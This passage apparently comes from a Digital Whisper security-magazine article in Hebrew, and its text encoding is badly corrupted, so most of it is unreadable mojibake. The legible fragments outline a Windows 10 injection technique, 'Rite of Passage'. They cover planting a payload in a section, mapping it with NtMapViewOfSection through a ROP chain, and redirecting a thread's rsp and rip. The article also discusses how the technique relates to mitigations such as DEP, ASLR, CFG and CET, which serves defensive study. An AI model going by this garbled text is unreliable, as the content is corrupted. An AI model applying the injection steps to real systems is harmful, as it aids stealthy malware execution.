ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  пр 
 

 

5. ˢ ˸˞ ˟ˣ˸˩ˮ-payload  s  ˨ˣ˸˟ ˣˮ˪˷-Section   :ˣˮ˶˴˧˷ 

 

6.   ˢˮ˟ˮROP Chain  ˢ ˸˞ ˸ˣ˲ˬ˪ ˢ˧ˢ˸ ˣ˧˸ˣ˶˦ˬˬ ˸˥˞ ˶˷˞˩-Section    ˨˧˪ˢ˸ˢ ˭ˣ˶˩˧ˤ˪ ˣˮ˶˴˧˷

 ˧"˰) ˵˶ˤˣˬˢNtMapViewOfSectionˢ ˸˞ ˳˧˶ˢ˪ˣ (-payload  :ˣ˩ˣ˸˟˷   

 

7.   ˸˞ ˢˮ˷ˮrsp  ˢ ˪˷-Thread  ˢ ˸˪˧˥˸˪-ROP    ˸˞ˣ ˣˮ˪˷rip   s  ˪˷-Thread  -˪ROP Gadget  

 :˳˧˶ˢ˪ ˢ˴˶ˮ˷ ˭ˣ˷˞˶ˢ 

 

8. ˢ ˸˞ ˟ˣ˸˩ˮ-ROP  :˵˶ˤˣˬˢ ˨˧˪ˢ˸˟ ˢ˴˵ˮ˷ ˶ˣˤ˞˪ ˣˮ˧ˮ˟˷ 

 

9.  s  ˸˞ ˭˩ˡ˰ˮ-Context  s  ˪˷-Thread  :ˢ˴˧˶˪ ˣ˸ˣ˞ ˶˧ˤ˥ˮˣ (ˣˮ˰˴˧˟˷ ˫˧˧ˣˮ˧˷ˢ ˶˥˞˪) 

 

  

http://www.digitalwhisper.co.il/


 
 

{ǘŀōƭŜ wƛǘŜ ƻŦ tŀǎǎŀƎŜ 
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  пс 
 

 ˧ ˮ˷ˢ ˟˪˷ˢ 
 

  ˪˷ ˫˧ˮˣ˷ˢ ˢˮˠˢˢ ˧ˮˣˮˠˮˬ ˪˰ ˶ˣ˟˰ˮ ˧ˮ˷ˢ ˟˪˷˟²ƛƴŘƻǿǎ мл    ˡˣ˵ˢ ˸˴˶ˢˣ ˸˵˶ˤˢ ˪˰ ˫˧˰˧˲˷ˬ ˶˷˞

 ˭˪ˢ˪ .˫˸˧˞ ˸ˣˡˡˣˬ˸ˢˢ ˧˩˶ˡ ˪˰ ˭˩ˣ ˣˮ˪˷ :˫˧˦ˮˣˣ˪˶ˢ ˫˧ˮˣˮˠˮˬˢ 

 

59t   

59t    ˣ˞5ŀǘŀ 9ȄŜŎǳǘƛƻƴ tǊŜǾŜƴǘƛƻƴ    ,˞ˬˠˣˡ˪ .˨˧˪ˢ˸˟ ˰ˡ˧ˬ ˧˲ˡˬ ˡˣ˵ ˸˴˶ˢ ˰ˮˣˬ ˶˷˞ ˭ˣˮˠˮˬ ˣˮ˧ˢ

  ˭˩˪ˣ ˧˟˧˦˪ˣ˲˧ˡ ˭˲ˣ˞˟ ˰ˡ˧ˬ ˧˲ˡ ˨ˣ˸˟ ˭ˣ˶˩˧ˤ˪ ˸ˮ˰˦ˮ ˨˧˪ˢ˸ ˪˷ ˸˧ˮ˯˥ˬˢ59t    .ˢˮˬˬ ˡˣ˵ ˸˴˶ˢ ˰ˮˣˬ

 ˠˣ˯ˬ ˸ˣ˲˵˸ˬ ˸˰˧ˮˬ ˞˧ˢ ˫˧˰ˡˣ˧ ˥˦˟ ˫˸˞˷ ˧˲˩ ˨˩˪ ˢ˟˧˯ˢ.ǳŦŦŜǊ hǾŜǊŦƭƻǿ . 

 ˱ ˣ˵˰ˮ ˡ˴˧˩ Κ 

 ˞ ˧ˢ ˶˸ˣ˧˟ ˸˶˩ˣˬˢˣ ˢ˦ˣ˷˲ˢ ˨˶ˡˢ    ˸˵˧ˮ˩˦ ˸ˣ˰˴ˬ˞˟wŜǘǳǊƴ-ƻǊƛŜƴǘŜŘ ǇǊƻƎǊŀƳƳƛƴƎ.   ˧˰˦˵˟ ˷ˬ˸˷ˮ

) ˡˣ˵wht ƎŀŘƎŜǘǎ  ˸˧˧˶˲˯˟ ˷ˬ˸˷ˮ ˣˮ˪˷ ˢ˶˵ˬ˟) ˵˶ˤˣˬˢ ˨˧˪ˢ˸˟ ˸ˣˮˣ˰˦ ˶˷˞ ˸ˣ˧˶˲˯ ˨ˣ˸ˬ (

ƴǘŘƭƭ.Řƭƭ  ˪˷ ˭ˣ˶˩˧ˤ˟ ˶ˣˤ˞˟ ˶ˣˬ˷ˮ ˫˧˲˯ˣˮ ˫˧˶˦ˬ˶˲ ˫˰ ˡ˥˧ ˣˮ˶˥˟˷ ˡˣ˵ˢ ˧˰˦˵˪ ˸ˣ˟ˣ˸˩ˢ ˸˞ ,(

ˢ ˸˞ ˳˧˶ˮ ˭˩ˬ ˶˥˞˪ˣ ˨˧˪ˢ˸ˢ-wht /Ƙŀƛƴ  ˟˷ ˞ˣˢ ˟ˣ˷˥ ˦˶˲ .ˣˮ˧ˮ˟˷-²ƛƴŘƻǿǎ мл    ˸˧˧˶˲˯ƴǘŘƭƭ.Řƭƭ  

  ˡˣ˵ˢ ˧˰˦˵ ˪˰ ˨ˬ˸˯ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˸˞ˤ ˸ˣ˟˵˰˟ˣ ˸˩˶˰ˬ˟ ˶˴ˣˮ˷ ˨˧˪ˢ˸ ˪˩˪ ˧˦ˬˣ˦ˣ˞ ˭˲ˣ˞˟ ˸ˮ˰˦ˮ

 .ˣˤ ˢ˧˧˶˲˯ ˪˷ 

 

 
!{[w   

!{[w    ˣ˞!ŘŘǊŜǎǎ {ǇŀŎŜ [ŀȅƻǳǘ wŀƴŘƻƳƛȊŀǘƛƻƴ    ˣˬ˩ ˸ˣ˵˧ˮ˩˦ˬ ˰ˣˮˬ˪ ˡ˰ˣˮ ˶˷˞ ˭ˣˮˠˮˬ ˣˮ˧ˢwŜǘǳǊƴ-

hǊƛŜƴǘŜŘ tǊƻƎǊŀƳƳƛƴƎ    ˢ˧˧˶˲˯ ˪˩˪ .˸˩˶˰ˬ˟ ˫˧˩˧˪ˢ˸˪ ˸ˣˮ˰˦ˮ ˶˷˞ ˸ˣˮˣˬ˸ ˪˷ ˸ˣ˰ˣˡ˧ ˸ˣ˟ˣ˸˩ ˪˴ˮ˪

  :˞ˬˠˣˡ˪) ˢ˴˶ˢ ˳˟ˣ˵ ˣ˞ƴǘŘƭƭ.Řƭƭˢ ˶˟˰˟ˣ ˢˮ˧˰˦˪ ˸˲ˡ˰ˣˬ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩ ˷˧ (-[ƻŀŘŜǊ    ˸˞ ˭˰ˣ˦ ˢ˧ˢ

˧ˬ˟) ˢˤ ˫ˣ˵˧ˬ˪ ˸ˣˮˣˬ˸ ˭˸ˣ˞  ˭ˣ˶˩˧ˤˢ ˸˞ ˸ˣ˲ˬ˪ ˣ˰ˡ˧ ˫˧˲˵ˣ˸ ,˸˞ˤ ˸ˣ˟˵˰˟ .(˯ˣ˲˸ ˣˮ˧˞ ˫ˣ˵˧ˬˢˣ ˢˡ

  ˪˧˟˷˟ ˫˧˩˧˶˴ ˫ˢ˷ ˡˣ˵ˢ ˧˰˦˵ ˸ˣ˟ˣ˸˩ ˸˞ ˠ˧˷ˢ˪ ˨˩˟ˣ ˢ˟ˣ˦ ˢ˶ˣ˴˟ ˫˧ˮˣ˷ˢ ˫˧˩˧˪ˢ˸ˢ ˪˷ ˧˪˞ˣ˦˶˧ˣˣˢ

  ˸ˣˮ˟˪wht /Ƙŀƛƴ  ˭ˣˮˠˮˬ ˫˰ ˣ˪˲ˬˣ˵˷ ˸ˣˮˣ˷ˢ ˸ˣˮˣˬ˸˟ ˸˲ˡ˰ˣˬˢ ˸˟ˣ˸˩˪˷ ˭ˣˣ˧˩ˬ ˢˮˣ˷ ˟˴ˬˢ ˫ˣ˧ˢ .

!{[w  ˷˥ ˪˪˩ ˭˧˞  ˢˮˣˬ˸ˢ .˸ˣ˟˧    ˫˧˪ˣ˩˧ ˞˪ ˫˧˲˵ˣ˸ˢ ˭˩˪ˣ ˨˧˪ˢ˸ ˪˷ ˭ˣ˶˩˧ˤ˟ ˧˪˞ˬˣˡˮ˶ ˫ˣ˵˧ˬ˪

 .˫˧˩˧˶˴ ˫ˢ ˫˸ˣ˞ ˡˣ˵ˢ ˧˰˦˵ ˫˧˞˴ˬˮ ˭˩˧ˢ ˸˰ˡ˪ 

 ˱ ˣ˵˰ˮ ˡ˴˧˩ Κ 

  ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟²ƛƴŘƻǿǎ мл    (˪ˣ˥˸˞ ˶˥˞˪) ˢˮˣ˷˞˶ˢ ˫˰˲˟ ˣˢ˷˪˩ ˨˧˪ˢ˸˪ ˸ˮ˰˦ˮ ˶˷˞ ˢˮˣˬ˸

ˢ ˧"˰ ˸˶˥˟ˮˢ ˸˧˪˞ˬˣˡˮ˶ ˸˟ˣ˸˩˪ ˸ˮ˰˦ˮ-!{[w  ˫˧˩˧˪ˢ˸˟ ˢˮˣˬ˸ ˢ˸ˣ˞ ˪˷ ˢˮ˧˰˦ ˪˩ ,˭˩ˬ ˶˥˞˪ .

  ˨˧˪ˢ˸ ˶˷˞˩ ˧˩ ˰˟ˣˮ ˭˞˩ˬ .˭ˣ˷˞˶ˢ ˨˧˪ˢ˸˟ ˢˮˣˬ˸ˢ ˢˮ˰˦ˮ ˢ˟ ˸˟ˣ˸˩˪ ˢˢˤˢ ˸˟ˣ˸˩˟ ˢ˧ˢ˸ ˫˧˲˯ˣˮ

  ˸˞ ˭˰ˣ˦ '˞ƴǘŘƭƭ.Řƭƭ    ˸˞ ˭˰ˣ˦ '˟ ˨˧˪ˢ˸ˣƴǘŘƭƭ.Řƭƭ    ˧ˤ˞ƴǘŘƭƭ.Řƭƭ    ˧ˮ˷˟ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩ ˢ˸ˣ˞˟ ˭˰˦˧˸

˫˧˴˧˶ˬ ˣˮ˥ˮ˞˷ ˭ˣˣ˧˩ˬ .˫˧˩˧˪ˢ˸ˢ    ˢˤˢ ˢ˶˵ˬ˟) ˱˵˸ˮˢ ˟˷˥ˬˢ ˪˰ ˡˣ˵ˢ ˸˞ ˵˧˶ˤ˸ ˶˷˞ ˢˮ˩ˣ˸ˢ ˸˞

  ˫ˣ˵˧ˬ ,(˧˪˷ ˟˷˥ˬˢƴǘŘƭƭ.Řƭƭ    ˫ˣ˵˧ˬˣ ˵˧˶ˤˬˢ ˨˧˪ˢ˸˟ƴǘŘƭƭ.Řƭƭ    ˭˩˪ˣ ˢˢˤ ˵˶ˤˣˬˢ ˨˧˪ˢ˸˟!{[w    ˞˪

 .ˣˮ˧˪˰ ˰˧˲˷ˬ 
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 :˵˶ˤˣˬˢ ˨˧˪ˢ˸ˢ 

 

 :˵˧˶ˤˬˢ ˨˧˪ˢ˸ˢ 

 

 

/CD 

/CD    ˣ˞/ƻƴǘǊƻƭ-Cƭƻǿ DǳŀǊŘ    ˸ˣ˧˴˵ˮˣ˲˪ ˸ˣ˶˧˷˧ ˞˪ ˸ˣ˞˧˶˵ ˪˷ ˭˸ˣˮ˧˵˸ ˸˞ ˞ˡˣˣ˪ ˡ˰ˣˮ ˶˷˞ ˭ˣˮˠˮˬ ˣˮ˧ˢ

) ˢ˧˧˶˲˯ ˸ˣ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵ ˞˧ˢ ˢ˶˧˷˧ ˢ˞˧˶˵ .ˢ˴˧˶ ˭ˬˤ˟9ȄǇƻǊǘŜŘ ŦǳƴŎǘƛƻƴǎ  ˳˟ˣ˵ ˪˷ ˸ˣ˧˴˵ˮˣ˲˪ ˣ˞ (

 ˪  ˢ˶˧˷˧ ˢ˞˧˶˵ ˶ˣ˟˰ ˞ˬˠˣˡ ˭˪ˢ˪ .ˢ˴˶ˢ-bǘaŀǇ±ƛŜǿhŦ{ŜŎǘƛƻƴ : 

 

˞˧˶˵ ˞˧ˢ ˢ˶˧˷˧ ˢˮ˧˞˷ ˢ˞˧˶˵ ,˸˞ˤ ˸ˬˣ˰˪  ˢ˸˟ˣ˸˩ ˶˷˞ ˢ˧˴˵ˮˣ˲˪ ˢ˶ˠˣ˞ ˨ˣ˸ˬ ˢ˥ˣ˵˪  :˞ˬˠˣˡ˪ . 
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 ,ˢˮˣˬ˸ˢˬ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩   ˨ˣ˸˟ ˢ˶ˣˬ˷ ˢ˸˟ˣ˸˩˷ ˢ˧˴˵ˮˣ˲˪ ˢ˶˧˷˧ ˞˪ ˢ˞˧˶˵ ˸˰˴˟˸ˬ ˢˤ ˢ˶˵ˬ˟

  ˶ˠˣ˞ǊŘƛ  ˸˟ˣ˸˩ˢ ˢ˥ˣ˵˪ ˣˮˬˬ ˶ˠˣ˞ˢ ˨˶˰ ˸˞ ˸ˣˮ˷˪ ˪ˣ˪˰ ˱˵ˣ˸˷ ˞˧ˢ ˸ˣ˶˧˷˧ ˞˪ˢ ˸ˣ˞˧˶˵˟ ˢˮ˩˯ˢ .

  ˨˪ˢˬ ˸˞ ˸ˣˮ˷˪ ˨˩˟ˣ ˢ˧˴˵ˮˣ˲˪ˢ ˢ˟ ˨˶ˡˢ .˨˧˪ˢ˸ˢ ˪˷ ˭˧˵˸ˢ ˣ˸˴˧˶-/CD    ˧"˰ ˞˧ˢ ˢ˧˰˟ˢ ˸˞ ˶˸ˣ˲

  ˸˶˧˴˧.ƛǘƳŀǇ    .ˢ˴˶ˢ˪ ˸ˣ˶˷ˣ˞ˬˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˸ˣˮˬˣ˯ˬ ˣ˟ˣ ˢˤ ˭ˣˮˠˮˬ ˫˰ ˪˲ˬˣ˵˷ ˨˧˪ˢ˸ ˪˩ ˪˷ ˭ˣ˶˩˧ˤ˟

ˢ ˢ˧˴˵ˮˣ˲˪ ˢ˶˧˷˧ ˞˪ ˢ˞˧˶˵ ˰˴˟˸˸ ˶˷˞˩-/CD  ˪ ˷ˠ˧˧-.ƛǘƳŀǇ    ˢ˧˴˵ˮˣ˲ˢ ˫˞ˢ ˞ˡˣˣ˧ˣ ˨˧˪ˢ˸ˢ ˪˷

 ˧ ˞ ˭˪ˢ˪ .ˢ˴˶ˢ˪ ˸˶˷ˣ˞ˬ s  ˢˮ˟ˬ ˸˞ ˠ˧˴ˬˢ ˶ˣ-.ƛǘƳŀǇ  -    ˶˷˞ ˢ˧˴˵ˮˣ˲ ˢˠ˧˴ˬ ˢ˶ˣ˥˷ ˢˡˣ˵ˮ ˪˩

 :ˢ˴˶ˢ˪ ˸˶˷ˣ˞ˬ 

 

  :˶˭˵ˬ]ƘǘƳƭΦмл-ǿƛƴŘƻǿǎ-ƛƴ-ƎǳŀǊŘ-Ŧƭƻǿ-ǊƻƭŎƻƴǘ-ǳǎκǊŜǎŜŀǊŎƘκмрκŀκŜȄǇƭƻǊƛƴƎψŎƻƳκŜƴΦǘǊŜƴŘƳƛŎǊƻΦǿǿǿκκΥƘǘǘǇǎ ώ 

 

ˢ ˪˷ ˨˧˪ˢ˸ˢ ˸˷˥ˬˢ ˨˶ˣ˴˪ˣ-/CD : 

 

  :˶ˣ˵ˬ]ώƎǳŀǊŘ-Ŧƭƻǿ-ǳǎκǿƛƴŘƻǿǎκǿƛƴонκǎŜŎōǇκŎƻƴǘǊƻƭ-ŎƻƳκŜƴΦƳƛŎǊƻǎƻŦǘΦŘƻŎǎκκΥƘǘǘǇǎ 

 
 ˱ ˣ˵˰ˮ ˡ˴˧˩ Κ 

ˢ ˭ˢ˟ ˶˷˞ ˸ˣ˞˧˶˵ˢ-/CD    ˸ˣ˞˧˶˵ ˭ˢ ˢ˧˴˵ˮˣ˲ˢ ˸˟ˣ˸˩ ˸ˣˮ˧˵˸˪ ˢ˵˧ˡ˟ˢ ˸˞ ˰˴˟ˬƧƳǇ  -xŎŀƭƭ  ˨˩ ,

ˢ ˢ˷˰ˬ˪˷-/CD    ˠˣ˯ˬ ˸ˣ˵˧ˮ˩˦ ˫˯ˣ˥Wht   x-/ht  ˠˣ˯ˬ ˸ˣ˵˧ˮ˩˦ ˫˯ˣ˥ ˣˮ˧˞ ˨˞ ,wht    ˸ˣ˞˧˶˵ ˪˰ ˯˯ˣ˟ˬ)

ǊŜǘ˟ ˷ˬ˸˷ˮ ˣˮ˥ˮ˞˷ ˭ˣˣ˧˩ˬ .(-wht  ˢ ˧ˤ˞ ˵˶ˤˣˬˢ ˡˣ˵ˢ ˸˞ ˳˧˶ˢ˪ ˸ˮˬ ˪˰-/CD  ˧˪˰ ˰˧˲˷˧ ˞˪  .ˣˮ 
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wCD 

wCD    ˣ˞wŜǘǳǊƴ-Cƭƻǿ DǳŀǊŘ    ˭ˣˮˠˮˬ ˪˷ ˧˸ˮ˩ˣ˸ ˷ˣˬ˧ˬ˪ ˢ˰˴ˢ ˣˮ˧ˢ/9¢    ˶˷˞ (˶ˬ˞ˬˢ ˨˷ˬˢ˟ ˠ˴ˣ˧)

  ˢ˴˵ˬ ˢˤ ˭ˣˮˠˮˬ .˸ˣˮ˸˷ˬ ˭ˮ˧˞ ˨˧˪ˢ˸ ˸˴˧˶ ˭ˬˤ˟ ˢ˶ˤ˥ˢ ˸ˣ˟ˣ˸˩ ˧˩ ˞ˡˣˣ˪ ˣ˸˶˦ˬм  ˢ˶˦-  ˭ˣ˶˩˧ˤ ˪˷ ˦˧˟

˟ ˷˧ˠˮˢ-¦ǎŜǊ aƻŘŜ   s  ˪˷ "˫˧˪˪˴ ˸ˣ˧ˮ˯˥ˬ" ˣ˞˴ˬ˧ ˢˤ ˶ˣˤ˞˟ ˶˷˞˩-¢ƘǊŜŀŘǎ    .˸˩˶˰ˬ˟ ˫˧ˮˣ˷ˢ

 ˪  ˸˧˦ˮˣˣ˪˶ˢ ˫˧˪˪˴ˢ ˸˧ˮ˯˥ˬ˪ ˸˟ˣ˸˩ˢ-¢ƘǊŜŀŘ    ˶ˠˣ˞˟ ˶ˬ˷˧˸C{˟ .ˢ ˪˷ ˣ˸˴˧˶ ˨˪ˢˬ-¢ƘǊŜŀŘ    ˧˩˶˰

 ˫ ˧˪˪˴ˢ ˸˧ˮ˯˥ˬ˟ ˭˩ ˫ˠ ˣ˶ˬ˷˧ ˸˧ˮ˯˥ˬ˟ ˫˧˶ˬ˷ˮ ˶˷˞ ˢ˶ˤ˥ˢ ˸ˣ˟ˣ˸˩   ˸˞˧˶˵ ˪˩ ˧ˮ˲˪ˣǊŜǘ    ˰˴˟˸˸

ˢ ˪˷ ˸˧ˮ˯˥ˬ˟ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˭˧˟ ˧ˮˣ˷ ˣˮ˷˧ ˫˞ ˢ˵˧ˡ˟-¢ƘǊŜŀŘ    .˫˧˪˪˴ˢ ˸˧ˮ˯˥ˬ˟ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˭˧˟˪

 s  ˸˞˧˶˵ ˰˴˟˸˸ ,˧ˮˣ˷ ˫˧˧˵ ˞˪ˣ ˢˡ˧ˬ˟-ǊŜǘ˷ ˫˧˧˵ˣ ˢˡ˧ˬ˟ ˨˞ ,  ˪˷ ˟ˣ˪˧˷ ,ˢ˷˰ˬ˪ .˯ˣ˶˵˧ ˨˧˪ˢ˸ˢ ˧ˮˣ

/CD    ˫˰ ˡ˥˧wCD    ˸ˣ˞˧˶˵˟ ˧ˣˮ˧˷ ˰˴˟˪ ˣˮ˸˞ˬ ˰ˮˣˬŎŀƭƭ  ,ƧƳǇ  -xǊŜǘ   ˣ˸˴˧˶ ˪˰ ˦˪˸˷ˢ˪ ˣˮ˸˞ˬ ˰ˮˣˬ ˨˩˟ˣ

  ˥ˣ˵˪) ˫˧˪˪˴ˢ ˸˧ˮ˯˥ˬ ˸˞ ˠ˧˴ˬˢ ˶ˣ˧˞ ˭˪ˢ˪ .˨˧˪ˢ˸ˢ ˪˷ ˸˧ˮ˵˸ˢ x ˶ˬ˞ˬˬ    ˢˤ ˭ˣˮˠˮˬ ˪˰ ˭˧˵˦˧˞ ˪˧˧˞ ˪˷

 ˭ˣ˧˪˧ˠ˟ ˫˯˶ˣ˲ ˶˷˞ут :( 

 

 

 
 ˱ ˣ˵˰ˮ ˡ˴˧˩ Κ 

  ˠˣ˯ˬ ˢ˷˪ˣ˥ ˞˴ˬ ˦˲ˣ˯ˣ˶˵˧ˬ ˪˷ ˫ˣˡ˞ˢ ˸ˣˣ˴ˢ ˧˶˟˥ˬ ˡ˥˞wŀŎŜ-/ƻƴŘƛǘƛƻƴ  -˟wCD    ˞˧˟ˬ ˢ˪ˣ˴˧ˮ ˶˷˞

  ˣˮ˟ ˦˲ˣ˯ˣ˶˵˧ˬ ˪˷ ˫ˣˡ˞ˢ ˸ˣˣ˴ˢ ˢ˷˪ˣ˥ˢ ˸˞˧˴ˬ ˶˥˞˪ .˭ˣˮˠˮˬˢ ˸˯˟ˢ˪tƻ/    ˸˵˧ˡ˟˟ˣ ˢ˸ˣ˞ ˪˴ˮˬˢ

 s  ˸ˣ˪˧˰˧-tƻ/    ˢ˶˟˥ˢ ,˨˩ˬ ˢ˞˴ˣ˸˩ .˵ˡ˟ˮ˷ ˫˧ˬ˰˲ˢ ˪˩˟ ˭ˣˮˠˮˬˢ ˸˞ ˱ˣ˵˰˪ ˥˧˪˴ˢ ˞ˣˢ ˧˩ ˞˴ˬˮ

˪ ˭˧˸ˬˢ˪ˣ ˢˤ ˭ˣˮˠˮˬ ˥ˣ˸˧˲ ˸˞ ˪˦˟˪ ˢ˦˧˪˥ˢ-/9¢˷ ˭ˣˣ˧˩ˬ .-wCD   ˪ ˰ˣ˲˪ ˞˴˧ ˞˪  ˷ˣ˷˥˪ ˢ˟˧˯ ˣˮ˪ ˭˧˞ ,

ˢ ˸˟˧˸˩˟ ˣˮˬˬ-wht  .ˣˮ˪˷ 

 

http://www.digitalwhisper.co.il/
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/9¢   

/9¢    ˣ˞/ƻƴǘǊƻƭ-Cƭƻǿ 9ƴŦƻǊŎŜƳŜƴǘ ¢ŜŎƘƴƻƭƻƎȅ    ˸ˣ˵˧ˮ˩˦ ˦˪˥ˣˬ ˭˲ˣ˞˟ ˫ˣ˪˟˪ ˣ˸˶˦ˬ˷ ˭ˣˮˠˮˬ ˣˮ˧ˢ

  ˠˣ˯ˬwŜǘǳǊƴ-ƻǊƛŜƴǘŜŘ ǇǊƻƎǊŀƳƳƛƴƎ˪ ˧˸˶ˬˣ˥ ˷ˣˬ˧ˬ ˣ˥˸˲˧ ˪˦ˮ˧˞ ˫˰ ˢ˪ˣ˰˲ ˱ˣ˸˧˷˟ ˦˲ˣ˯ˣ˶˵˧ˬ .-

  ˢˬ˪ ˢˬˣˡ˟) "˫˧˪˪˴ˢ ˸ˣ˧ˮ˯˥ˬ"˟ ˠ˴ˣˢ˷-wCD  ˸˞˧˶˵ ˪˩ ˨˩˟ˣ (ǊŜǘ    ˫˧˪˪˴ˢ ˸˧ˮ˯˥ˬ ˪ˣˬ ˢ˵˧ˡ˟ ˶ˣ˟˰˸

 ˪  ˢˬ˧˞˸ˬˢ-¢ƘǊŜŀŘ    ˫˧˷˶˸ ˭˪ˢ˪ .ˢ˶ˤ˥ˢ ˸˟ˣ˸˩˟ ˧ˣˮ˧˷ ˭˧˞ ˧˩ ˞ˡˣˣ˪ ˧ˡ˩˟ ˢ˞˧˶˵ˢ ˢ˰˴ˣ˟ ˣˮˬˬ

 ˭ˣˮˠˮˬ ˸˞ ˠ˧˴ˬˢ ˪˦ˮ˧˞ ˢˬ˯˶˲˷/9¢ : 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  :˶ˣ˵ˬ]ǘƘǊŜŀǘǎ-ƳŀƭǿŀǊŜ-ŎƻƳƳƻƴ-ǇǊƻǘŜŎǘ-Ŏŀƭƭ-ŀƴǎǿŜǊǎ-ŎŜǘ-ŎƻƳκŜŘƛǘƻǊƛŀƭǎκƛƴǘŜƭΦƛƴǘŜƭΦƴŜǿǎǊƻƻƳκκΥƘǘǘǇǎώ 

 

˧˰˴ˬ˞ ˢˤ ˭ˣˮˠˮˬ ˨ˣ˸˟ ˢ˥˸˧˲ ˪˦ˮ˧˞ ,˫˧˷˶˸˟ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩  ˸ˣ˲˵˸ˬ ˧ˣˢ˧ˤ˟ ˣ˶ˤ˰˧ ˶˷˞ ˫˧˲˯ˣˮ ˫

  ˠˣ˯ˬ/htκWht  ˭ˣˮˠˮˬ˷ ˫ˡˣ˵ ˶˟˩ ˣˮ˧˞˶ ./CD    ˸ˣˮˠˢ˷ ˵˲˯ ˭˧˞ ˪˟˞ ,ˢˤ ˠˣ˯ˬ ˸ˣ˲˵˸ˬ ˸˰˧ˮˬ˪ ˠ˞ˣˡ

  .˪˧˰ˣˢ˪ ˸ˣ˪ˣ˩˧ ˡ˧ˬ˸ ˸ˣ˲˯ˣˮ 

 

 ˱ ˣ˵˰ˮ ˡ˴˧˩ Κ 

  ˶˟ˬ˦˲˯˟ ˶ˣ˞˪ ˞˴˧ ˢˤ ˭ˣˮˠˮˬнлнл  ˫˧˷ˡ˥ˢ ˪˦ˮ˧˞ ˧ˡ˟˰ˬˬ ˵˪˥˩-    ˧ˡ˟˰ˬ¢ƛƎŜǊ [ŀƪŜ  ,˭˩ ˣˬ˩ .

  ˰ˠ˶ˢˬ˷ ˵˲˯ ˭˧˞ .˸˧˸ˮ˩ˣ˸ ˢˮ˧˥˟ˬ ˢˤ ˭ˣˮˠˮˬ˟ ˢ˪˷ ˸ˣˮˣ˶˥˞ˢ ˸ˣ˞˯˶ˠ˟ ˨ˣˬ˸˪ ˢ˪˥ˢ ˦˲ˣ˯ˣ˶˵˧˧ˬ

  ˣˬ˩ ˸ˣ˦˧˷ ˵ˣ˷˟ ˫˧˴ˣ˲ˮˢ ˣ˧ˢ˧ ˣ˪˞ ˫˧ˡ˟˰ˬ˷wht    ˫˧˶˩ˣˤ) ˸ˣ˧˶˷˲˞ ˪˪˩˟ ˫˞ ˰ˣ˴˧˟˪ ˡˣ˞ˬ ˸ˣ˷˵ ˣ˧ˢ˧

ˢˬ˩ ˡˣ˰˷ ˶ˬ˞ˬˢ ˸˪˧˥˸˟ ˧˸˶ˬ˞˷    ˥˵˧˧˷ ˭ˣˣ˧˩ˬ ˨˞ ,(ˢ˟˧˯ˢ ˣˤ ˤ˞ ,ˡˣ˵ ˸˵˶ˤˢ ˰˴˟˪ ˢ˷˵ ˢ˧ˢ˧ ˫˧ˮ˷

˸˴˲ˢ˪ ˭ˬˤ ˡˣ˰ ˫ .ˢˤ ˭ˣˮˠˮˬˬ ˰˲˷ˣˮ ˞˪ ˢˤ ˶ˬ˞ˬ ˶ˣ˟˰ ˢˮ˩ˣ˸ˢ ˸˟˧˸˩˟ , 
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{ǘŀōƭŜ wƛǘŜ ƻŦ tŀǎǎŀƎŜ 
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  рм 
 

 ˧ ˷˧˪˷ˢ ˟˪˷ˢ 

  ˣ˪˞ ˸ˣ˩˶˰ˬ .ˢ˴˵ˢ ˸ˮˠˢ ˸ˣ˩˶˰ˬ ˧"˰ ˸ˣ˪˧˰˲ˢ ˧ˣˢ˧ˤ ˞˧ˢ ˡˣ˵ ˸ˣ˵˶ˤˢ ˰ˣ˴˧˟˟ ˸ˣ˧ˤ˩˶ˬˢ ˸ˣ˧˰˟ˢ ˸˥˞

  ˸˧˧˶˲˯˟ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˰ ˪˷ˬ˪ ,˸ˣ˟˶ ˸ˣ˧˴˵ˮˣ˲ ˪˰ ˫˧˵ˣˢ ˸ˣˬ˷ƴǘŘƭƭ.Řƭƭ  ˸ˣ˧ˣ˪˧˰˲ ˸ˣ˪ˠˬ ˫˸˶ˤ˰˟ˣ ,

  ˸˧˧˴˵ˮˣ˲ ˪˰ ˫ˠ .˸˩˶˰ˬ˟ ˸ˣ˧ˮˣˡˤbǘaŀǇ±ƛŜǿhŦ{ŜŎǘƛƻƴ    ˣˬ˧˷˧ ˸ˣ˟˶ ˸ˣ˩˶˰ˬ ˢ˞˶ˮˢ ˪˩˩  ˸ˮˬ ˪˰ ˵ˣˢ

ˢ ˨ˣ˸ˬ ˣˤ ˢ˧˴˵ˮˣ˲˪ ˞˶˵ˮ ˫˞ ,˸˞ˤ ˸ˣ˟˵˰˟ .ˡˣ˵ ˸˵˶ˤˢ ˠˣ˯ˬ ˸ˣ˲˵˸ˢ ˶˸˧ˢ ˭˧˟ ˸ˣˢˤ˪-wht    ˸ˮˬ ˪˰

 s  ˸˞ ˸ˣ˲ˬ˪-{ŜŎǘƛƻƴ  ˢ ˫˰-ǇŀȅƭƻŀŘ   .˯˲˸˧ˮ ˢ˞˶ˮˢ ˪˩˩ ˣˮ˪˷ 

˫˧˵ˣˢ ˫˸ˣ˞ ˸˲˧˵˰ ˨ˣ˸ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˳˧˶ˢ˪ ˭˸˧ˮ ˡ˴˧˩ ˤ˞Κ  ˸˦˧˷ ˸˯ˮ˩ˮ ˭˞˩wƛǘŜ ƻŦ tŀǎǎŀƎŜ . 

